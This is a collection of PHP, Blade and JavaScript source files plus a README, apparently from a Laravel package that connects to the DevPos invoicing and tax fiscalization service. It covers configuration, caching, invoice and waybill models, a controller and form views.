new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add thumbnail
parameters.thumbnail = $modal.find('.filebox img').attr('src');
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
};<file_sep># DevPos
This is a package to help you connect with Devpos services such as invoicing,stock management, reports and the main goal to fiscalize invoices against state taxes rules.
Later we will put here all neccessary documentation for using this package.
This package contain a facade named `DevPos` which you can use to perform different actions on any model the system has.
Anyway we have included a full project containing routes, views, controllers and anything needed to run the package on your custom laravel project.
It will not work 100% bc the views are builded on my custom laravel project, therefore you have to do some editions on blade files.
Please check the documentation for additional informations [https://github.com/ermiri/devpos/wiki]()
## Installation
composer require ermirshehaj/devpos
It will install the package and you are ready to use it:
use ErmirShehaj\DevPos\Facades\DevPos;
//list all tcr
DevPos::tcr()->list();
## Configuration
It come with a configuration file named `devpos.php`.
There you can edit authentication parameters, cache settings and much more:
'endPointBase' => 'https://devpos.al',
'tokenEndPoint' => 'https://devpos.al/token',
//devpos login credentials
'tenant' => '0000000001',
'authorization' => 'Basic Zml5j3jsljfs893BhOg==',
'username' => 'admini',
'password' => '<PASSWORD>',
'grant_type' => 'password',
## Authentication
First you have to authenticate yourself into the devpos system which in return will give you an access token needed to run each request againsts their api.
use ErmirShehaj\DevPos\Facades\DevPos;
//to authorize using information on `devpos.php` just run:
DevPos::authorize();
//if you need to set manually some parameters:
DevPos::setTenant($tenant) //if you want another tenant than one set on devpos.php config file
->setAuthorization($authorization) //if you want a custom
->setAuthorization($authorization)//if you want a custom
->setUsername($username)//if you want a custom
->setPassword($<PASSWORD>)//if you want a custom
->setGrantType($grant)//if you want a custom
->authorize();
The method `authorize()` just run a request and if everything is ok it will save the access_token on session under the key `devpos.access_token`
## Models
All models are inside `devpos/src/Classes` folder. They act as model but are not the same as laravel model.They have standart methods like:
- list //get models
- create //create model
- update //update model
- destroy //delete model
Check the wiki page for more details
## Routes
You can see/edit routes located at `devpos/route/web.php`.
## Controllers
For each model, we have created a controller.
## Cache
We tend to cache every get request(list action on models), except invoices.
By default, specified on `devpos.php` config file, it will expire after 1800 seconds.
use ErmirShehaj\DevPos\Facades\DevPos;
//to cache a request
DevPos::tcr()->cache()->list() //same as DevPos::tcr()->setCache(true)->list()
//to prevent caching
DevPos::tcr()->setCache(false)->list()
//to bypass caching data bc as default it will read cache first if it exists.
DevPos::tcr()->byPassCache()->list()
//set prefix. To avoid global pollution of cache, we use prefix, default: devpos.
DevPos::tcr()->setCachePrefix('devpos')->list();
//set cache key. It will be saved on cache as: prefix + '.' + key
DevPos::tcr()->setCacheKey('tcrs')->list();
//to get the full cache key: prefix + '.'+ key
$obj->getCacheKeyWithPrefix();
//set timeout
DevPos::tcr()->setCacheTimeout(500)->list();
<file_sep><?php
namespace ErmirShehaj\DevPos\Facades;
use Illuminate\Support\Facades\Facade;
class DevPos extends Facade
{
protected static function getFacadeAccessor()
{
return 'devpos';
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Facades\DevPos;
use ErmirShehaj\DevPos\Classes\Model;
/**
* POS - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class AccompanyingInvoice extends Model {
public function __construct() {
parent::__construct();
$this->setCache(false);
$this->bypassCache();
}
//list all tcr saved on devpos
public function get() {
$path = '/api/v3/WTN';
$query = http_build_query(request()->all());
$query = !empty($query) ? '?'. $query:$query;
// echo $path . $query;
return $this->httpGet($path . $query);
}
public function create($parameters = []) {
/**
* Example:
* {
"id": 0,
"wtnType": 0,
"transaction": 0,
"vehicleOwnershipType": 0,
"vehiclePlate": "aa930gz",
"startAddress": "Tirane",
"startCity": "Tirane",
"startPoint": 2,
"destinationAddress": "Rruga Llambi Ganiu",
"destinationCity": "Fier",
"destinationPoint": 3,
"isGoodsFlammable": false,
"isEscortRequired": false,
"packType": "Qese",
"affectsWarehouse": true,
"exitWarehouseId": 112,
"destinationWarehouseId": 112,
"packNumber": 1223548,
"itemsNumber": 25,
"carrierId": 0,
"isAfterDelivery": false,
"subsequentDeliveryType": 2,
"valueOfGoods": 600,
"buyer": null,
"carrier": null,
"wtnProduct": [
{
"name": "BAYLEYS 12 X 0.7 lit",
"barcode": "BAYLEYS 12 X 0.7 lit",
"quantity": 1,
"isRebateReducingBasePrice": true,
"unit": "vlere monetare",
"vatRate": 20,
"invoiceId": 0,
"productId": 32150,
"packNumber": 0,
"price": 600
}
],
"businessUnitCode": "ux640ut831",
"startDateTime": "2021-11-10",
"destinationDateTime": "2021-11-27"
}
*/
//default values
//do some validations
$validation = Validator::make($parameters, [
"businessUnitCode" => 'required|string',
"wtnType" => 'required|numeric',
"transaction" => 'required|numeric',
"vehicleOwnershipType" => 'required|numeric',
"vehiclePlate" => 'required|string|max:30',
"startAddress" => 'required|string|max:250',
"startCity" => 'required|string|max:50',
"startPoint" => 'required|numeric',
"startDateTime" => 'required|date',
"destinationDateTime" => 'required|date',
"destinationAddress" => 'required|string|max:250',
"destinationCity" => 'required|string|max:50',
"destinationPoint" => 'required|numeric',
"isGoodsFlammable" => 'required|boolean',
"isEscortRequired" => 'required|boolean',
"packType" => 'nullable|string',
"affectsWarehouse" => 'nullable|boolean',
"exitWarehouseId" => 'nullable|numeric',
"destinationWarehouseId" => 'nullable|numeric',
"packNumber" => 'nullable|numeric',
"itemsNumber" => 'nullable|numeric',
"carrierId" => 'nullable|numeric',
"isAfterDelivery" => 'nullable|boolean',
"subsequentDeliveryType" => 'nullable|numeric',
"valueOfGoods" => 'nullable|numeric',
"buyer" => 'nullable|string',
"carrier" => 'nullable|string',
"wtnProduct" => 'required|array',
"wtnProduct.*.name" => "required_with:wtnProduct|string|max:50",
"wtnProduct.*.barcode" => "nullable|string|max:50",
"wtnProduct.*.quantity" => "required_with:wtnProduct|numeric",
"wtnProduct.*.isRebateReducingBasePrice" => "required_with:wtnProduct|boolean",
"wtnProduct.*.unit" => "required_with:wtnProduct|string|max:50",
"wtnProduct.*.vatRate" => "nullable|numeric",
"wtnProduct.*.invoiceId" => "nullable|numeric",
"wtnProduct.*.productId" => "required_with:wtnProduct|numeric",
"wtnProduct.*.packNumber" => "nullable|numeric",
"wtnProduct.*.price" => "required_with:wtnProduct|numeric",
]);
// print_r($parameters);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//cast columns boolean
$parameters['isGoodsFlammable'] = boolval($parameters['isGoodsFlammable']) ?? 0;
$parameters['isEscortRequired'] = boolval($parameters['isEscortRequired'] ?? 0);
$parameters['affectsWarehouse'] = boolval($parameters['affectsWarehouse'] ?? 0);
$parameters['isAfterDelivery'] = boolval($parameters['isAfterDelivery'] ?? 0);
//cast numeric columns
$parameters['wtnType'] = (int)$parameters['wtnType'];
$parameters['transaction'] = (int)$parameters['transaction'];
$parameters['vehicleOwnershipType'] = (int)$parameters['vehicleOwnershipType'];
$parameters['startPoint'] = (int)$parameters['startPoint'];
$parameters['destinationPoint'] = (int)$parameters['destinationPoint'];
$parameters['itemsNumber'] = (int)$parameters['itemsNumber'];
foreach($parameters['wtnProduct'] as $ind => $product) {
//boolean
$parameters['wtnProduct'][$ind]['isRebateReducingBasePrice'] = boolval($product['isRebateReducingBasePrice'] ?? 0);
//numeric
$parameters['wtnProduct'][$ind]['quantity'] = (float)$parameters['wtnProduct'][$ind]['quantity'];
$parameters['wtnProduct'][$ind]['vatRate'] = (float)$parameters['wtnProduct'][$ind]['vatRate'];
$parameters['wtnProduct'][$ind]['packNumber'] = (float)$parameters['wtnProduct'][$ind]['packNumber'];
$parameters['wtnProduct'][$ind]['price'] = (float)$parameters['wtnProduct'][$ind]['price'];
unset($parameters['wtnProduct'][$ind]['productId']);
}
return $this->post('/api/v3/WTN', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/WTN/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'code' => 'required|max:40',
'businessUnitCode' => 'required|max:40',
'registrationDate' => 'required|date',
'latitude' => 'nullable|max:40',
'longitude' => 'nullable|max:40',
'address' => 'required|max:120',
'city' => 'required|max:120',
'description' => 'nullable|max:250',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
$parameters['registrationDate'] = date("c", strtotime($parameters['registrationDate']));
return $this->put('/api/v3/WTN/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
//return $this->delete('/api/v3/WTN/'. $id);
}
}<file_sep>@extends('layouts.keen.template')
@section('subheader-buttons')
<div class="k-subheader__toolbar">
<div class="k-subheader__wrapper">
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="{{ __('Edit') }}" data-placement="top" onClick="DevPos.Invoice.create();">
<i class="fa fa-plus"></i> <span class="d-none d-md-inline"> {{ __('Invoice') }}</span>
</a>
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="{{ __('Export') }}" data-placement="top" onClick="DevPos.Unfiscalized.export();">
<i class="fa fa-download"></i> <span class="d-none d-md-inline"> {{ __('Export') }}</span>
</a>
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="{{ __('Import') }}" data-placement="top" onClick="DevPos.Invoice.create();">
<i class="fa fa-upload"></i> <span class="d-none d-md-inline"> {{ __('Import') }}</span>
</a>
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="{{ __('Fiscalize') }}" data-placement="top" onClick="DevPos.Invoice.create();">
<i class="fa fa-upload"></i> <span class="d-none d-md-inline"> {{ __('Fiscalize invoices') }}</span>
</a>
</div>
</div>
@endsection
@section('content')
<!-- begin:: Content -->
<div class="k-content k-grid__item k-grid__item--fluid" id="k_content">
<div class="row">
<div class="col-md-10 float-left reportAndListing order-xs-2 order-md-1" id="reportAndListing" style="overflow-x: hidden;">
<div class="k-portlet k-portlet--mobile">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Unfiscalized Invoices') }}
<small></small>
</h3>
</div>
</div>
<div class="k-portlet__body k-portlet__body--fit">
<!--begin: Datatable -->
<div class="k_datatable" id="api_events"></div>
<!--end: Datatable -->
</div>
</div>
</div>
<!-- start:: Sidebar -->
<div class="col-md-2 float-left order-xs-1 order-sm-1 order-md-2">
<!-- start:: Filter -->
<div class="w-100 float-left">
<div class="k-portlet k-portlet--mobile" id="quickSearchPortlet">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Filter Results') }}
</h3>
</div>
</div>
<div class="k-portlet__body">
<div class="row" id="filterForm" data-filter-itemType="tcrs">
<form name="filter" class="col-12" onsubmit="event.preventDefault();DevPos.Invoice.load();">
<div class="form-group">
<label class="">{{ __('Operator') }}</label>
<input class="form-control" name="operatorName" type="text" placeholder="Search by operator">
</div>
<div class="form-group">
<label class="">{{ __('Customer Business Name') }}</label>
<input class="form-control" name="customerBusinessName" type="text" placeholder="Search by business">
</div>
<div class="form-group">
<label class="">{{ __('Total') }}</label>
<div class="input-daterange input-group" id="k_datepicker_5">
<input type="text" class="form-control " name="total_min" placeholder="{{ __('Min total') }} ...">
<div class="input-group-append">
<span class="input-group-text"><i class="la la-ellipsis-h"></i></span>
</div>
<input type="text" class="form-control" name="total_max" placeholder="{{ __('Max total') }} ...">
</div>
<span class="form-text text-muted">{{ __('Enter min and max date range') }}</span>
</div>
<div class="form-group">
<label class="">{{ __('Created at') }}</label>
<div class="input-daterange input-group" id="k_datepicker_5">
<input type="text" class="form-control " name="created_min" placeholder="{{ __('Min date') }} ...">
<div class="input-group-append">
<span class="input-group-text"><i class="la la-ellipsis-h"></i></span>
</div>
<input type="text" class="form-control" name="created_max" placeholder="{{ __('Max date') }} ...">
</div>
<span class="form-text text-muted">{{ __('Enter min and max date range') }}</span>
</div>
<div class="k-input-icon k-input-icon--left">
<input type="submit" class="btn btn-primary btn-sm w-100" name="name" value="{{ __('Filter') }}">
</div>
</form>
</div>
<div class="row" id="quickSearch" data-filter-itemType="receptions">
</div>
</div>
</div>
</div>
<!-- end:: Filter -->
</div>
<!-- end:: Sidebar -->
</div>
</div>
<!-- end:: Content -->
@endsection
@section('js-local')
<script src="{{asset('ermirshehaj/devpos/js/devpos.js')}}"></script>
<script src="{{asset('ermirshehaj/devpos/js/templates.js')}}"></script>
<script>
//put all tcrs to cache
//Cache.put('invoices', @php echo json_encode($items) @endphp);
Cache.put('paymentMethods', @php echo json_encode($paymentMethods) @endphp);
Cache.put('feeTypes', @php echo json_encode($feeTypes) @endphp);
Cache.put('clientCardTypes', @php echo json_encode($clientCardTypes) @endphp);
Cache.put('typesOfSelfIssuing', @php echo json_encode($typesOfSelfIssuing) @endphp);
Cache.put('currencies', @php echo json_encode($currencies) @endphp);
Cache.put('countries', @php echo json_encode($countries) @endphp);
Cache.put('cities', @php echo json_encode($cities) @endphp);
Cache.put('banks', @php echo json_encode($banks) @endphp);
Cache.put('idTypes', @php echo json_encode($idTypes) @endphp);
Cache.put('invoiceTypes', @php echo json_encode($invoiceTypes) @endphp);
Cache.put('devpos_access_token', '{{Cache::get('devpos.access_token')}}' );
let choosedTCR = '{{Session::get('tcr_code')}}';
$(document).ready(function(){
$('[name="startDate"]').datepicker();
$('[name="endDate"]').datepicker();
DevPos.Unfiscalized.load();
});
</script>
@endsection<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* Unit - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class Unit extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/Unit');
}
public function create($parameters = []) {
/**
*
* Example:
* {
code: "22"
description: "dite1"
id: 174
name: "dite1"
standardCode: "5E"
}
*/
//validate first
$validation = Validator::make($parameters, [
"name" => "required|string|max:60",
"description" => "required|string|max:250",
"code" => "required|string|max:60",
"standardCode" => "required|string|max:60",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
return $this->post('/api/v3/Unit', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/Unit/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
"id" => "required|numeric",
"name" => "required|string|max:60",
"description" => "required|string|max:250",
"code" => "required|string|max:60",
"standardCode" => "nullable|string|max:60",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
$parameters['registrationDate'] = date("c", strtotime($parameters['registrationDate']));
return $this->put('/api/v3/Unit/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/Unit/'. $id);
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Http\Controllers;
use Illuminate\Routing\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
use ErmirShehaj\DevPos\Facades\DevPos;
use App\Http\Requests\PosRequest;
use \App\Models\Pos;
use DateTime;
use ErmirShehaj\DevPos\Events\InvoiceCreated;
class InvoiceController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index() {
//authorize first
//$this->authorize('menu', Pos::class);
if (request()->ajax()) {
$items = DevPos::invoice()->get();
return [
'Status' => 'OK',
'Data' => $items
];
}
// //get supplierList from devpos
// $warehouseTypes = DevPos::enum()->getInvoiceType();
//get supplierList from devpos
$tcrs = DevPos::tcr()->get();
//get supplierList from devpos
$paymentMethods = DevPos::enum()->getPaymentMethodTypes();
//get feeTypes from devpos
$feeTypes = DevPos::enum()->getFeeTypes();
//get clients from devpos
$customers = DevPos::customer()->get();
//get feeTypes from devpos
$clientCardTypes = DevPos::enum()->getClientCardTypes();
//get typeOfSelfIssuing from devpos
$typesOfSelfIssuing = DevPos::enum()->getTypesOfSelfIssuing();
//get currencies from devpos
$currencies = DevPos::enum()->getCurrencies();
//get countries from devpos
$countries = DevPos::enum()->getCountries();
//get cities from devpos
$cities = DevPos::enum()->getCities();
//get cities from devpos
$banks = DevPos::account()->get();
//get cities from devpos
$idTypes = DevPos::enum()->getIdTypes();
//get products
//$products = DB::select('select * from price_list where Status = \'Active\'');
return view('devpos::invoices', [
'title' => __('Invoices'),
'breadcrumb' => [
__('Invoices') => route('devpos.invoices.index')
],
'menu' => 'devpos.invoices',
//'items' => $items,
'tcrs' => $tcrs,
'paymentMethods' => $paymentMethods,
'feeTypes' => $feeTypes,
'customers' => $customers,
'clientCardTypes' => $clientCardTypes,
'typesOfSelfIssuing' => $typesOfSelfIssuing,
'currencies' => $currencies,
'countries' => $countries,
'cities' => $cities,
'banks' => $banks,
'idTypes' => $idTypes,
'products' => [],
]);
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request) {
//authorize first
//$this->authorize('create', Pos::class);
//return $request->all();
//return $item = DevPos::invoice()->create($request->all());
try {
$item = DevPos::invoice()->create($request->all());
//if invoice is created we fire the event
event(new InvoiceCreated($item));
}
catch(\Illuminate\Validation\ValidationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $request->all(),
'Errors' => $error->errors(),
];
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->response->json()['message'],
'ErrorMsg' => $error->getMessage(),
'Errors' => $error->response->json(),
'Data' => $request->all()
];
}
catch(\Symfony\Component\HttpKernel\Exception\HttpException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $request->all()
];
}
catch(\Illuminate\Auth\AuthenticationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Authentication' => 'Unauthorized 401',
'Data' => $request->all()
];
}
catch(\Exception $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $request->all(),
'Exception' => 'Test',
];
}
return response()->json([
'Status' => 'OK',
'Data' => $item,
]);
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id) {
$item = DevPos::invoice()->show($id);
$startPoints = DevPos::enum()->getStartPoints();
$vehicleOwnershipTypes = DevPos::enum()->getVehicleOwnershipTypes();
return view('devpos::invoice-show', [
'title' => __('View Invoice'),
'breadcrumb' => [
__('Invoices') => route('devpos.invoices.index'),
__('Invoice') .': '. $id => route('devpos.invoices.show', $id)
],
'menu' => 'devpos.invoices',
'item' => (object)$item,
'startPoints' => $startPoints,
'vehicleOwnershipTypes' => $vehicleOwnershipTypes,
]);
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id) {
try {
//update supplier on devpos
$item = DevPos::invoice()->update($id, $request->all());
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage()
];
}
return response()->json([
'Status' => 'OK',
'DevPos' => ['updated' => $item],
'Data' => ['updated' => $updated]
]);
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id) {
//authorize action
//$this->authorize('delete', Pos::class);
try {
//delete supplier on devpos
$item = DevPos::invoice()->destroy($id);
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage()
];
}
return response()->json([
'Status' => 'OK',
'DevPos' => $item,
'Data' => $deleted,
'Msg' => $deleted == 0 ? 'Invoice deleted successfully':'Invoice didn\'t deleted successfully!'
]);
}
public function cancel($iic) {
//cancel will return the invoice
$invoice = DevPos::invoice()->cancel($iic);
if ($invoice['isCorrectiveInvoice']) {
return [
'Status' => 'OK',
'Data' => $invoice,
];
}
return [
'Status' => 'error',
];
}
public function resend($iic) {
//cancel will return the invoice
$invoice = DevPos::invoice()->resend($iic);
if ($invoice['isCorrectiveInvoice']) {
return [
'Status' => 'OK',
'Data' => $invoice,
];
}
return [
'Status' => 'error',
];
}
public function correct(Request $request, $iic) {
try {
$parameters = $request->all();
//put on parameters the iic
$parameters['iicReference'] = $iic;
$parameters['correctiveInvType'] = 0;
$invoice = DevPos::invoice()->correct($parameters);
}
catch(\Illuminate\Validation\ValidationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $request->all(),
'Errors' => $error->errors(),
];
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->response->json()['message'],
'Errors' => $error->response->json(),
'Data' => $request->all()
];
}
catch(\Illuminate\Http\Client\Exception $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $request->all()
];
}
//fire event
//event(\ErmirShehaj\DevPos\Events\InvoiceCorrected::class);
return [
'Status' => 'OK',
'Data' => $invoice,
'Msg' => 'Invoice corrected successfully'
];
}
public function export(Request $request) {
//delete _method=GET
$parameters = $request->all();
unset($parameters['_method']);
//run export
$content = DevPos::invoice()->export($parameters);
return $content;
}
public function exportSalesBook(Request $request) {
//delete _method=GET
$parameters = $request->all();
unset($parameters['_method']);
//run export
$content = DevPos::invoice()->exportSalesBook($parameters);
return $content;
}
}
<file_sep>@extends('layouts.keen.template')
@section('subheader-buttons')
<div class="k-subheader__toolbar">
<div class="k-subheader__wrapper">
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="Edit" data-placement="top" onClick="DevPos.AccompanyingInvoice.save();">
<i class="fa fa-save"></i> <span class="d-none d-md-inline"> {{ __('Save invoice') }}</span>
</a>
</div>
</div>
@endsection
@section('content')
<!-- begin:: Content -->
<div class="k-content k-grid__item k-grid__item--fluid" id="k_content">
<div class="row">
<div class="col-md-12 float-left reportAndListing order-xs-2 order-md-1" id="reportAndListing" style="overflow-x: hidden;">
<div class="k-portlet k-portlet--mobile">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('New invoice') }}
<small></small>
</h3>
</div>
</div>
<div class="k-portlet__body k-portlet__body--fit">
<form class="k-form col-12 px-0" id="k_form_1" name="newInvoice" method="get" action="">
<div class="k-portlet__body">
<div class="form-group row mb-0 productsList not-parameters">
<div class=" col-md-8 offset-md-2 col-lg-6 offset-lg-3 mb-4 k-input-icon k-input-icon--left">
<input type="text" class="form-control " placeholder="{{__('Search products')}} ..." id="productSearch" name="productSearch">
<span class="k-input-icon__icon k-input-icon__icon--left">
<span><i class="la la-search"></i></span>
</span>
</div>
<div class="table-responsive">
<table class="table" id="productsList">
<thead class="thead-light">
<tr>
<th>{{__('Product')}}</th>
<th>{{__('Unit')}}</th>
<th style="width: 12%;">{{__('Quantity')}}</th>
<th>{{__('Price')}}</th>
<th style="width: 12%;">{{__('Discount')}}</th>
<th>{{__('Amount')}}</th>
<th>{{__('TVSH')}}</th>
<th class="text-center">{{__('Options')}}</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
<div class="input-group input-group-lg-group my-4">
<div class="col-5 pr-0 invisible"></div>
<div class="col-3 pr-0 text-right k-font-bold k-heading--sm pr-2 " style="font-size: 1.5rem;">{{__('Total')}}</div>
<div class="col-2 text-right k-font-boldest total px-3" style="font-size: 1.5rem;"> 0.00</div>
<div class="col-2"></div>
</div>
<div class="mt-5">
<div class="k-heading k-heading--space-sm cursor mb-0">{{__('Options')}}</div>
</div>
<div class="k-separator k-separator--space-sm k-separator--border-solid k-separator--portlet-fit"></div>
<div class="form-group row">
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "POS *",
"select" => [
"name" => "businessUnitCode",
"value" => $item->businessUnitCode,
"options" => (function($poses) {
$options = '';
foreach($poses as $pos) {
$options .= '<option value="'. $pos['businessUnitCode'].'">'. $pos['code'] . ' - '. $pos['description'] .'</option>';
}
return $options;
})($pos)
],
"hint" => "Choose pos"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Type *",
"select" => [
"name" => "wtnType",
"value" => $item->wtnType,
"options" => (function($items) {
$options = '';
foreach($items as $key => $item) {
$options .= '<option value="'. $key .'">'. $item .'</option>';
}
return $options;
})($wtnTypes)
],
"hint" => "Choose type"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Transaction *",
"select" => [
"name" => "transaction",
"value" => $item->transaction,
"options" => (function($items) {
$options = '';
foreach($items as $key => $item) {
$options .= '<option value="'. $key .'">'. $item .'</option>';
}
return $options;
})($transactions)
],
"hint" => "Choose transaction"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Vehicle Ownership Type",
"select" => [
"name" => "vehicleOwnershipType",
"value" => $item->vehicleOwnershipType,
"options" => [['id' => '0', 'name' => 'Pronar'], ['id' => '1', 'name' => 'Pale e trete']]
],
"hint" => "Choose type"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Vehicle Plate *",
"input" => [
"name" => "vehiclePlate",
"value" => $item->vehiclePlate,
],
"hint" => "Enter plate"
])!!}
</div>
<div class="mt-5">
<div class="k-heading k-heading--space-sm cursor mb-0">{{__('Start')}}</div>
</div>
<div class="k-separator k-separator--space-sm k-separator--border-solid k-separator--portlet-fit"></div>
<div class="form-group row">
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Start Address *",
"input" => [
"name" => "startAddress",
"value" => $item->startAddress,
],
"hint" => "Enter address"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Start City *",
"input" => [
"name" => "startCity",
"value" => $item->startCity,
],
"hint" => "Enter city"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Start Point *",
"select" => [
"name" => "startPoint",
"value" => $item->startPoint,
"options" => $startPoints
],
"hint" => "Enter city"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Start Date Time *",
"date" => [
"name" => "startDateTime",
"value" => date('Y-m-d'),
],
"hint" => "Enter city"
])!!}
</div>
<div class="mt-5">
<div class="k-heading k-heading--space-sm mb-0">{{__('Destination')}}</div>
</div>
<div class="k-separator k-separator--space-sm k-separator--border-solid k-separator--portlet-fit"></div>
<div class="form-group row">
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Destination Address *",
"input" => [
"name" => "destinationAddress",
"value" => $item->destinationAddress,
],
"hint" => "Enter address"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Destination City *",
"input" => [
"name" => "destinationCity",
"value" => $item->destinationCity,
],
"hint" => "Enter city"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Destination Point *",
"select" => [
"name" => "destinationPoint",
"value" => $item->destinationPoint,
"options" => $destinationPoints
],
"hint" => "Choose point"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 mb-3",
"label" => "Destination Date Time *",
"date" => [
"name" => "destinationDateTime",
"value" => date('Y-m-d'),
],
"hint" => "Enter date"
])!!}
</div>
<div class="mt-5">
<div class="k-heading k-heading--space-sm mb-0">{{__('Other')}}</div>
</div>
<div class="k-separator k-separator--space-sm k-separator--border-solid k-separator--portlet-fit"></div>
<div class="form-group row">
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-4 mb-3",
"label" => "Pack Type",
"input" => [
"name" => "packType",
"value" => $item->packType,
],
"hint" => "Enter packType"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-4 mb-3",
"label" => "Pack Number",
"input" => [
"name" => "packNumber",
"value" => $item->packNumber,
],
"hint" => "Enter packNumber"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-4 mb-3",
"label" => "Items Number",
"input" => [
"name" => "itemsNumber",
"value" => $item->itemsNumber,
],
"hint" => "Enter itemsNumber"
])!!}
{!! Html::formElement([
"class" => "col-md-12 mb-3",
"label" => "is Goods Flammable *",
"checkbox" => [
"name" => "isGoodsFlammable",
"value" => 1,
"checked" => false,
],
"hint" => ""
])!!}
{!! Html::formElement([
